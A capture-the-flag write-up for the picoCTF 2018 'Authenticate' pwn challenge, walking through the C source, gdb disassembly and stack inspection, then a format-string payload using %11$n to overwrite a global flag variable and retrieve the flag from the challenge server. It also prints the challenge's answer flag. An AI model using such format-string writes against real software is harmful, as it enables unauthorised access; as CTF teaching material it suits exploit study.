Authenticate - Pwn

On this challenge, we get this source code:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

int authenticated = 0;

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag();
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);
  
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }
  
  read_flag();

}

Here we see that we need to get authenticated to equal 1 in order to get the flag. We then find a format string vulnerability on this line:


First we fire up gdb and diassemble the read_flag function:

gdb-peda$ disas read_flag Dump of assembler code for function read_flag: 0x080486e4 <+0>: push ebp 0x080486e5 <+1>: mov ebp,esp 0x080486e7 <+3>: sub esp,0x8 0x080486ea <+6>: mov eax,ds:0x804a04c 0x080486ef <+11>: test eax,eax 0x080486f1 <+13>: jne 0x8048705 0x080486f3 <+15>: sub esp,0xc 0x080486f6 <+18>: push 0x8048934 0x080486fb <+23>: call 0x80484f0 puts@plt 0x08048700 <+28>: add esp,0x10 0x08048703 <+31>: jmp 0x804871a 0x08048705 <+33>: sub esp,0xc 0x08048708 <+36>: push 0x8048958 0x0804870d <+41>: call 0x80484f0 puts@plt 0x08048712 <+46>: add esp,0x10 0x08048715 <+49>: call 0x804865b 0x0804871a <+54>: nop 0x0804871b <+55>: leave
0x0804871c <+56>: ret
End of assembler dump.


Here we see this line:
```0x080486ea <+6>:    mov    eax,ds:0x804a04c```

This will move the authenticated variable into the register EAX, and ds stands for data segment. This instruction is hardcoded which means that authenticated variable will always be on this address, and this makes it easier for us.

First I need to check where I can set breakpoint in main to be able to see how the stack looks after the call to the vulnerable function printf as I mentioned earlier.

…. 0x080487e5 <+200>: push 0x80489aa 0x080487ea <+205>: call 0x80484f0 puts@plt 0x080487ef <+210>: add esp,0x10 0x080487f2 <+213>: sub esp,0xc 0x080487f5 <+216>: lea eax,[ebp-0x4c] 0x080487f8 <+219>: push eax 0x080487f9 <+220>: call 0x80484b0 printf@plt 0x080487fe <+225>: add esp,0x10 0x08048801 <+228>: call 0x80486e4 0x08048806 <+233>: mov eax,0x0 0x0804880b <+238>: mov edx,DWORD PTR [ebp-0xc] ….


I set a breakpoint after the printf line here with:
``` b * 0x080487fe```

Then I run this:
>run <<< $(python -c 'print "\x4c\xa0\x04\x08%p%p%p%p%p"')

To start the program and %p prints what is on the stack. I then use ```x/xw $esp``` to see how the stack looks like:

gdb-peda$ x/xw $esp 0xffffd280: 0xffffd2ac gdb-peda$ 0xffffd284: 0x080489a6 gdb-peda$ 0xffffd288: 0xf7fa15c0 gdb-peda$ 0xffffd28c: 0x0804875a gdb-peda$ 0xffffd290: 0x00000000 gdb-peda$ 0xffffd294: 0x00ca0000 gdb-peda$ 0xffffd298: 0x00000000 gdb-peda$ 0xffffd29c: 0xffffd3a4 gdb-peda$ 0xffffd2a0: 0x00000000 gdb-peda$ 0xffffd2a4: 0x00000000 gdb-peda$ 0xffffd2a8: 0x00000000 gdb-peda$ 0xffffd2ac: 0x0804a04c

We see here that the address 0x0804a04c is on the 11th step, which means that when we run this:
```python -c 'print "\x4c\xa0\x04\x08%11$p"' | ./auth ```
Here, ```$``` says which place on the stack we should write/read from. From the output on the command above, we should get the address and that is what we get:

Would you like to read the flag? (yes/no) Received Unknown Input:

L�0x804a04c Sorry, you are not authenticated!


Now we need to write something to the stack and we can use %n for that. So we change from %p to %n

```python -c 'print "\x4c\xa0\x04\x08%11$n"' | nc 2018shell2.picoctf.com 26336```

The %n prints out the length of what has been printed out from printf which is 4 in this case, so authenticated will contain the number 4 which works because authenticated will be true as long as it is not 0.

If we run the command above, we get the flag: 

Would you like to read the flag? (yes/no) Received Unknown Input:

Access Granted. picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_e8337b91} ````